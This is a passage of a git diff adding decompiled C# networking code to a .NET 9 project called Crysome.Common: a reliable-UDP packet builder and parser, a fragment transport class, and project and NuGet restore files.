||||
double num = Math.Min(1.0, RttMs / 2000.0);
|
||||
double lossRate = LossRate;
|
||||
double obj = Math.Min(1.0, num * 0.5 + lossRate * 0.5);
|
||||
try
|
||||
{
|
||||
this.CongestionChanged?.Invoke(obj);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void TriggerDisconnect()
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
Dispose();
|
||||
try
|
||||
{
|
||||
this.Disconnected?.Invoke();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] BuildDatagram(byte flags, uint seqNum, uint ackNum, ushort fragIdx, ushort fragCount, byte packetTypeId, byte[] payload, int payOffset, int payLen)
|
||||
{
|
||||
byte[] array = new byte[19 + payLen];
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(SessionId), 0, array, 0, 4);
|
||||
array[4] = flags;
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(seqNum), 0, array, 5, 4);
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(ackNum), 0, array, 9, 4);
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(fragIdx), 0, array, 13, 2);
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(fragCount), 0, array, 15, 2);
|
||||
array[17] = packetTypeId;
|
||||
array[18] = 0;
|
||||
if (payLen > 0)
|
||||
{
|
||||
Buffer.BlockCopy(payload, payOffset, array, 19, payLen);
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
private void RawSend(byte[] dg)
|
||||
{
|
||||
if (_disposed || dg == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
_socket.Send(dg, dg.Length, Remote);
|
||||
BytesSent += dg.Length;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static bool ParseHeader(byte[] dg, int len, out uint sessionId, out byte flags, out uint seqNum, out uint ackNum, out ushort fragIdx, out ushort fragCount, out byte packetTypeId)
|
||||
{
|
||||
sessionId = 0u;
|
||||
flags = 0;
|
||||
seqNum = 0u;
|
||||
ackNum = 0u;
|
||||
fragIdx = 0;
|
||||
fragCount = 0;
|
||||
packetTypeId = 0;
|
||||
if (dg == null || len < 19)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
sessionId = BitConverter.ToUInt32(dg, 0);
|
||||
flags = dg[4];
|
||||
seqNum = BitConverter.ToUInt32(dg, 5);
|
||||
ackNum = BitConverter.ToUInt32(dg, 9);
|
||||
fragIdx = BitConverter.ToUInt16(dg, 13);
|
||||
fragCount = BitConverter.ToUInt16(dg, 15);
|
||||
packetTypeId = dg[17];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
using System;
|
||||
|
||||
namespace Crysome.Common.Network;
|
||||
|
||||
public static class UdpTransport
|
||||
{
|
||||
public const int HeaderSize = 13;
|
||||
|
||||
public const int MaxFragmentSize = 60000;
|
||||
|
||||
public static byte[] BuildFragment(uint sessionToken, byte packetTypeId, uint frameSeq, ushort fragIdx, ushort fragCount, byte[] payloadData, int payloadOffset, int payloadLength)
|
||||
{
|
||||
byte[] array = new byte[13 + payloadLength];
|
||||
int num = 0;
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(sessionToken), 0, array, num, 4);
|
||||
num += 4;
|
||||
array[num++] = packetTypeId;
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(frameSeq), 0, array, num, 4);
|
||||
num += 4;
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(fragIdx), 0, array, num, 2);
|
||||
num += 2;
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(fragCount), 0, array, num, 2);
|
||||
num += 2;
|
||||
Buffer.BlockCopy(payloadData, payloadOffset, array, num, payloadLength);
|
||||
return array;
|
||||
}
|
||||
|
||||
public static bool ParseHeader(byte[] datagram, int length, out uint sessionToken, out byte packetTypeId, out uint frameSeq, out ushort fragIdx, out ushort fragCount, out int payloadOffset, out int payloadLength)
|
||||
{
|
||||
sessionToken = 0u;
|
||||
packetTypeId = 0;
|
||||
frameSeq = 0u;
|
||||
fragIdx = 0;
|
||||
fragCount = 0;
|
||||
payloadOffset = 0;
|
||||
payloadLength = 0;
|
||||
if (length < 13)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
int num = 0;
|
||||
sessionToken = BitConverter.ToUInt32(datagram, num);
|
||||
num += 4;
|
||||
packetTypeId = datagram[num++];
|
||||
frameSeq = BitConverter.ToUInt32(datagram, num);
|
||||
num += 4;
|
||||
fragIdx = BitConverter.ToUInt16(datagram, num);
|
||||
num += 2;
|
||||
fragCount = BitConverter.ToUInt16(datagram, num);
|
||||
payloadLength = length - (payloadOffset = num + 2);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
<PropertyGroup>
|
||||
<TargetFramework>net9.0-windows</TargetFramework>
|
||||
<UseWPF>true</UseWPF>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<OutputPath>..\CRYSOME_COMPILED\</OutputPath>
|
||||
<AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath>
|
||||
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,80 @@
|
||||
{
|
||||
"format": 1,
|
||||
"restore": {
|
||||
"C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj": {}
|
||||
},
|
||||
"projects": {
|
||||
"C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj": {
|
||||
"version": "1.0.0",
|
||||
"restore": {
|
||||
"projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj",
|
||||
"projectName": "Crysome.Common",
|
||||
"projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj",
|
||||
"packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\",
|
||||
"outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\obj\\",
|
||||
"projectStyle": "PackageReference",
|
||||
"fallbackFolders": [
|
||||
"C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages",
|
||||
"C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages"
|
||||
],
|
||||
"configFilePaths": [
|
||||
"C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config",
|
||||
"C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config",
|
||||
"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config",
|
||||
"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config"
|
||||
],
|
||||
"originalTargetFrameworks": [
|
||||
"net9.0-windows"
|
||||
],
|
||||
"sources": {
|
||||
"C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {},
|
||||
"C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {},
|
||||
"C:\\Program Files\\dotnet\\library-packs": {},
|
||||
"https://api.nuget.org/v3/index.json": {}
|
||||
},
|
||||
"frameworks": {
|
||||
"net9.0-windows7.0": {
|
||||
"targetAlias": "net9.0-windows",
|
||||
"projectReferences": {}
|
||||
}
|
||||
},
|
||||
"warningProperties": {
|
||||
"warnAsError": [
|
||||
"NU1605"
|
||||
]
|
||||
},
|
||||
"restoreAuditProperties": {
|
||||
"enableAudit": "true",
|
||||
"auditLevel": "low",
|
||||
"auditMode": "direct"
|
||||
},
|
||||
"SdkAnalysisLevel": "10.0.100"
|
||||
},
|
||||
"frameworks": {
|
||||
"net9.0-windows7.0": {
|
||||
"targetAlias": "net9.0-windows",
|
||||
"imports": [
|
||||
"net461",
|
||||
"net462",
|
||||
"net47",
|
||||
"net471",
|
||||
"net472",
|
||||
"net48",
|
||||
"net481"
|
||||
],
|
||||
"assetTargetFallback": true,
|
||||
"warn": true,
|
||||
"frameworkReferences": {
|
||||
"Microsoft.NETCore.App": {
|
||||
"privateAssets": "all"
|
||||
},
|
||||
"Microsoft.WindowsDesktop.App.WPF": {
|
||||
"privateAssets": "none"
|
||||
}
|
||||
},
|
||||
"runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
<?xml version="1.0" encoding="utf-8" standalone="no"?>
|
||||
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
|
||||
<RestoreSuccess Condition=" '$(RestoreSuccess)' == '' ">True</RestoreSuccess>
|
||||
<RestoreTool Condition=" '$(RestoreTool)' == '' ">NuGet</RestoreTool>
|
||||
<ProjectAssetsFile Condition=" '$(ProjectAssetsFile)' == '' ">$(MSBuildThisFileDirectory)project.assets.json</ProjectAssetsFile>
|
||||
<NuGetPackageRoot Condition=" '$(NuGetPackageRoot)' == '' ">$(UserProfile)\.nuget\packages\</NuGetPackageRoot>
|
||||
<NuGetPackageFolders Condition=" '$(NuGetPackageFolders)' == '' ">C:\Users\lukas\.nuget\packages\;C:\Program Files\DevExpress 24.2\Components\Offline Packages;C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages</NuGetPackageFolders>
|
||||
<NuGetProjectStyle Condition=" '$(NuGetProjectStyle)' == '' ">PackageReference</NuGetProjectStyle>
|
||||
<NuGetToolVersion Condition=" '$(NuGetToolVersion)' == '' ">7.0.0</NuGetToolVersion>
|
||||
</PropertyGroup>
|
||||
<ItemGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
|
||||
<SourceRoot Include="C:\Users\lukas\.nuget\packages\" />
|
||||
<SourceRoot Include="C:\Program Files\DevExpress 24.2\Components\Offline Packages\" />
|
||||
<SourceRoot Include="C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages\" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="utf-8" standalone="no"?>
|
||||
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" />
|
||||
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")]
|
||||
@@ -0,0 +1,18 @@
|
||||
is_global = true
|
||||
build_property.TargetFramework = net9.0-windows
|
||||
build_property.TargetFrameworkIdentifier = .NETCoreApp
|
||||
build_property.TargetFrameworkVersion = v9.0
|
||||
build_property.TargetPlatformMinVersion = 7.0
|
||||
build_property.UsingMicrosoftNETSdkWeb =
|
||||
build_property.ProjectTypeGuids =
|
||||
build_property.InvariantGlobalization =
|
||||
build_property.PlatformNeutralAssembly =
|
||||
build_property.EnforceExtendedAnalyzerRules =
|
||||
build_property._SupportedPlatformList = Linux,macOS,Windows
|
||||
build_property.RootNamespace = Crysome.Common
|
||||
build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common\
|
||||
build_property.EnableComHosting =
|
||||
build_property.EnableGeneratedComInterfaceComImportInterop =
|
||||
build_property.CsWinRTUseWindowsUIXamlProjections = false
|
||||
build_property.EffectiveAnalysisLevelStyle = 9.0
|
||||
build_property.EnableCodeStyleSeverity =
|
||||
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user